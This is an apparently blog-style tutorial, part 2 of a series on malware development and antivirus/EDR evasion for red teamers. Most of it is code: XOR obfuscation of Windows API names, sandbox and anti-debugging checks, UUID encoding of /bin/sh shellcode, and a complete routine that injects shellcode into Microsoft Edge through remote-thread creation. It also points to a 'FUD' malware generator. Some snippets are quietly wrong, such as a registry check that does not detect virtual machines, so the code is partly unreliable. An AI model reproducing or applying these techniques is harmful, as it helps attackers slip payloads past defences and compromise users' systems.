AV/EDR Evasion | Malware Development — P2

Hossam Ehab
10 min readFeb 18, 2023

--

Hello, We talked in the first part of the writeup some basics like how av detect malwares, what is evasion techniques, and we make a small part of the malware that we encrypt the shellcode and what is the .

Hey, We Go Back Again! ;)

In this writeup is continuing the first part of “EDR Evasion” that it will be your first steps in Malware Development & Anti-Virus Evasion, Anti-Virus Evasion is important topic in “Red Team Operations” that after you have gaining access you will consider that there is AV so how to bypass it or evade it this is the thing that we will talk about today.

Note: I don’t want you to be a script kiddie so I will never write the completed code, if you understand me well you will write it by yourself…

Today’s Topics:

  1. How to Obfuscate functions
  2. Simple XOR Function Encryptor
  3. How to handle your code & What is MSDN API
  4. What is Sandbox Evasion & How to implement it in C
  5. What is Anti-Debugging & C Implementation
  6. UUIDs Shellcode Encryption
  7. Process Injection in C
  8. Resources will help you in learning “Malware Development”

Now let’s continue after we stop, “Function call obfuscation” as we said that there are some functions in the code are blacklisted to the Anti-Virus like:

  • VirtualAlloc
  • CreateThread
  • RtlMoveMemory
  • WaitForSingleObjet

We need to obfuscate it so what we will do!

Microsoft allows us to use something called an API that you can search for, and it is called “MSDN”, and through it we can define the function without using it, then encrypt the name of the function and decrypt it, which is the knowledge that its name is something from the three that I mentioned …

You didn’t understand anything right? I assure you of this. You can take look of this documentation this is the MSDN API that we will use : VirtualAlloc function (memoryapi.h) — Win32 apps | Microsoft Learn

Ok we need to handle it in the code to define it as a pointer in WINAPI, we have two techniques but I will give you the easier but it gives us a small warning after compiling it.

LPVOID (WINAPI * pVirtualAlloc) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

We add only (WINAPI * VirtualAlloc), and don’t forget to remove [in] because we don’t need it and if you want to delete spaces delete it.

Ok, now we need to encrypt without script “VirtualAlloc”, and we need to modify something in the python XOR encryptor code to be like this:

data = "VirtualAlloc"
key = 0x1

print('{ ', end='')
for i in data:
print(hex(ord(i) ^ key), end=', ')

print("0x0 };")

In this Python code it takes the string “VirtualAlloc” and performs a simple bitwise XOR operation on each character with a hexadecimal key value of 0x1 (which is equal to decimal 1). The result of the XOR operation is then printed in hexadecimal format.

The output is a series of comma-separated hexadecimal values enclosed in curly braces, representing the encrypted string in a format that can be used in C/C++ code. The final value, “0x0,” is included to mark the end of the string.

Ok, now we make the VirtualAlloc encrypted with XOR Function and now we need to put it in variable for example “x” and then we started in the important part in the function obfuscation.

After we make the VirtualAlloc encrypted in variable called x we need to define it as the pVirtualAlloc that we put in the MSDN is the same of the x variable after Decryption, I will show you the code line then i will explain to understand me.

pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), x);

We used windows API to dynamically load a function called VirtualAlloc from the kernel32.dll library.

Code points:

GetProcAddress is a Windows API function that retrieves the address of an exported function or variable from a dynamic-link library (DLL) or executable (EXE) file.

GetModuleHandle is another Windows API function that retrieves a handle to a loaded module, such as a DLL. it's used to get a handle to the kernel32.dll library.

"kernel32.dll" is the name of the DLL that contains the function we want to load.

So, when this line of code is executed, it looks for the address of the VirtualAlloc function in the kernel32.dll library and stores it in the pVirtualAlloc variable. From there, the VirtualAlloc function can be called using the pVirtualAlloc pointer.

Note: Remember and don’t forget to put the decryption function before writing this line also the encrypted VirtualAlloc in variable.

Congratulations You Now Learned How to Obfuscate Your First Function!

Now you know how to obfuscate VirtualAlloc, your task now is obfuscating the second and third functions with this same technique.

Again, What We Do:

1 — We search for the name of the function then MSDN for example “CreateThread MSDN” in google
2 — We encrypt the function name with the XOR Python script
3 — Put your decrypt function and don’t forget the SIZEOF() because it is some of bytes
4 — Import it in the kernel32 with GetModuleHandle(GetProcAddress(“Kernel32.dll”))

I wish it’s easy now.

Sandbox Evasion!

A sandbox is an isolated environment that can be used to test potentially malicious software or code without risking harm to the host system. It’s a common technique used by security researchers and software developers to analyze the behavior of suspicious programs and identify potential threats.

Sandbox evasion refers to the techniques used by attackers to bypass or evade the security measures of a sandbox environment, in order to execute their malicious code undetected. For example, an attacker might use a packer or obfuscator to conceal the true nature of their code, making it harder for the sandbox to identify it as malicious. Alternatively, an attacker might use anti-analysis techniques to detect if their code is running in a sandbox, and modify its behavior accordingly.

Sandbox evasion is important for attackers because it allows them to test and refine their attacks in a safe environment, without being detected by security tools. By evading sandboxes, attackers can increase the likelihood of their malware successfully compromising the target system, which can result in data theft, financial loss, and other serious consequences.

On the other hand, it’s important for security researchers and software developers to be aware of sandbox evasion techniques in order to improve their sandboxing technologies and make them more effective. By understanding how attackers can bypass sandboxing, researchers can develop more robust and resilient security measures that are better able to detect and prevent malicious code from running undetected.

Useful Summary:

Sandbox evasion is important for any hacker to hide himself from malware analyst to complexing finding him, Also is complexing the process of AV detection and you also will get great detection rate!

I write before some of sandbox evasion implemented in C. You can find it from here → facebook.com/photo/fbid=156828207144505&set=a.115014454659214

But now let’s put any technique in our code for example this technique.

int main()
{
// Open the registry key
HKEY hKey;
LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion"), 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS)
exit(0);

// Check if a specific value exists in the registry key
DWORD dwType, dwData;
DWORD dwDataSize = sizeof(dwData);
lResult = RegQueryValueEx(hKey, _T("ProductId"), NULL, &dwType, (LPBYTE) &dwData, &dwDataSize);
if (lResult != ERROR_SUCCESS)
exit(0);

return 0;
}

This code is checking the registry if he found himself in VMM Environment he will exit and close the program.

Also I love this technique, it is not normal is there is no files in “Downloads” and “Desktop Folder” Right!?, Of Course and this script is checking for it:


int main()
{
// Get the number of files in the Desktop folder
TCHAR szPath[MAX_PATH];
SHGetFolderPath(NULL, CSIDL_DESKTOP, NULL, 0, szPath);
HANDLE hFind;
WIN32_FIND_DATA fd;
int nCount = 0;

hFind = FindFirstFile(szPath, &fd);
if (hFind != INVALID_HANDLE_VALUE)
{
do
{ if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
nCount++;
} while (FindNextFile(hFind, &fd));
FindClose(hFind);
}

// Check if the number of files in the Desktop folder is 0
if (nCount == 0)
exit(0);

return 0;
}

Note: Hey don’t forget to obfuscate the functions that is in this code :) and the code that before this code :).

Now, There is very Important thing, Anti-Debugging!

Anti-debugging is a set of techniques used to prevent debugging and analysis of a program’s code, often used by developers and malware authors to protect their intellectual property or evade detection.

Why is anti-debugging important? Anti-debugging is important because it can help protect sensitive code and prevent intellectual property theft for legitimate developers. For malware authors, anti-debugging can help evade detection and analysis by security researchers, antivirus programs, and other security tools.

So, You know understanded what is Anti-Debugging so how we can implement it in C?


// Check if a debugger is attached
if (IsDebuggerPresent())
{
printf("Debugger is attached, exiting the process...\n");
ExitProcess(0);
}
else
{
printf("Debugger is not attached, continuing...\n");
}

Don't forget for every technique there are millions of algorithms and techniques of typing the code.

The last topic today is the UUID.

The UUID is used in shellcode obfuscation and it’s very nice technique. Let’s try to make it!, when you search in google for python scipt encrypt the shellcode bytes in hexadecimal into the UUID this is example for it

import uuid

# Define the shellcode to encrypt
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

# Define the encryption key
key = 0x23

# Encrypt the shellcode using XOR
encrypted_shellcode = bytes([b ^ key for b in shellcode])

# Generate a UUID from the encrypted shellcode
uuid_obj = uuid.UUID(bytes=encrypted_shellcode)

# Print the UUID in string format
print(str(uuid_obj))

Note: you need to make a loop in the shellcode and obfuscate every 16 byte and save it in array. :)

And then you need to decrypt it to be understanded from computer, exactly like the first shellcode encrypting techniques with XOR we need to decrypt it.

In this example, the encrypted UUID is defined as a uuid_t object using the uuid_parse() function. This UUID was previously generated by encrypting a shellcode and converting the resulting byte string to a UUID using the uuid.UUID(bytes=encrypted_shellcode) function in Python.

The decrypt_shellcode() function is then called with the encrypted UUID, encryption key, and length of the original shellcode. The resulting shellcode is printed out in hexadecimal format using a for loop, and the memory used by the shellcode buffer is freed :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <uuid/uuid.h>

unsigned char* decrypt_shellcode(uuid_t uuid, int key, int shellcode_len);

int main() {
// Define the UUID to be decrypted
uuid_t encrypted_uuid;
uuid_parse("1e6a2c6f-7616-4729-aa5d-fa5e6b5a21e5", encrypted_uuid);

// Decrypt the shellcode and print it out
int key = 0x23;
int shellcode_len = 23;
unsigned char* shellcode = decrypt_shellcode(encrypted_uuid, key, shellcode_len);
printf("Decrypted shellcode: ");
for (int i = 0; i < shellcode_len; i++) {
printf("\\x%02x", shellcode[i]);
}
printf("\n");

// Free the decrypted shellcode buffer
free(shellcode);

return 0;
}

Now Let’s see How to Implement Process injection in C!

First as we learned we will put our encrypted shellcode, and now let’s know how we will inject our shellcode into running process!

#include <windows.h>
#include <tlhelp32.h>

BOOL IsProcessRunning(DWORD pid)
{
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
DWORD exitCode = 0;
if (process != NULL)
{
GetExitCodeProcess(process, &exitCode);
CloseHandle(process);
}
return exitCode == STILL_ACTIVE;
}

BOOL InjectShellcodeIntoEdge()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(snapshot, &entry) == TRUE)
{
do
{
if (lstrcmpi(entry.szExeFile, L"msedge.exe") == 0 && IsProcessRunning(entry.th32ProcessID))
{
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, pShell_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
PVOID exec_mem = remoteBuffer;
WriteProcessMemory(processHandle, exec_mem, pShell, pShell_len, NULL);
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
CloseHandle(remoteThread);
CloseHandle(processHandle);
return TRUE;
}
} while (Process32Next(snapshot, &entry) == TRUE);
}

CloseHandle(snapshot);

return FALSE;
}

int main(int argc, char** argv)
{
if (!InjectShellcodeIntoEdge())
{
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(NULL, (LPSTR)"msedge.exe", NULL, NULL, FALSE, 0, NULL, (LPCSTR)"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\", &si, &pi);
WaitForInputIdle(pi.hProcess, INFINITE);
InjectShellcodeIntoEdge();
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

return 0;
}

Let’s explain this code :

This code checks if the Microsoft Edge browser is running, and if so, injects shellcode into it. If it is not running, the code starts a new instance of the browser and then injects the shellcode into it.

The first function IsProcessRunning takes a process ID as input and returns a boolean value indicating whether or not the process is still running. It uses the OpenProcess function to open a handle to the process with the specified ID and GetExitCodeProcess to get the exit code of the process. If the process is still running, the exit code will be STILL_ACTIVE. The function returns TRUE if the exit code is STILL_ACTIVE, and FALSE otherwise.

The second function InjectShellcodeIntoEdge uses the toolhelp32 library to iterate over all running processes and checks if the process name is msedge.exe and if the process is still running. If so, it opens a handle to the process with OpenProcess using the PROCESS_ALL_ACCESS flag, allocates memory within the process with VirtualAllocEx, writes the shellcode into the allocated memory with WriteProcessMemory, creates a remote thread with CreateRemoteThread, and then closes the thread and process handles.

The main function first calls InjectShellcodeIntoEdge to check if the browser is already running and inject the shellcode if it is. If the function returns FALSE, indicating that the browser is not running, it starts a new instance of the browser with CreateProcessA, waits for the process to start with WaitForInputIdle, injects the shellcode with InjectShellcodeIntoEdge, and then closes the process and thread handles.

The code makes use of several functions from the Windows API, including CreateToolhelp32Snapshot, Process32First, Process32Next, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, and CloseHandle. It also includes a shellcode that is injected into the browser process.

So, this technique you will do not find many people use this technique, you will find injecting into a PID process… you can also search for it :)

Resources will help you in learning.

This is the result after using all techniques together but note → You can make the shellcode more encrypted because it still look like malicious so use can use UUID encrypting you can search for it :)

PoC :

I would like to thank Abdallah Mohammed for helping me in my journey to learn malware development also if you want to study more the best thing that you can do is studing or reading this nice tool created by Abdallah is a FUD Malware generator is a powerfull tool uses many advanced technique in EDR evasion ^_^ :

https://github.com/0xNinjaCyclone/hellMaker

And also, thanks to Abdulrahman Mohammed for encouraging me in my journey, he has a nice tools that also recommend if you want to learn malware development you can check his profile from here → De3vil (Abdulrahman Mohammed) (github.com), He will help you if you need a help in malware development in python ^_^.

I wish you are here and thank you all for reading :)

--

--

Hossam Ehab

Red Team Analyst @ Dark Entry | Interested in Red Teaming & Malware Researching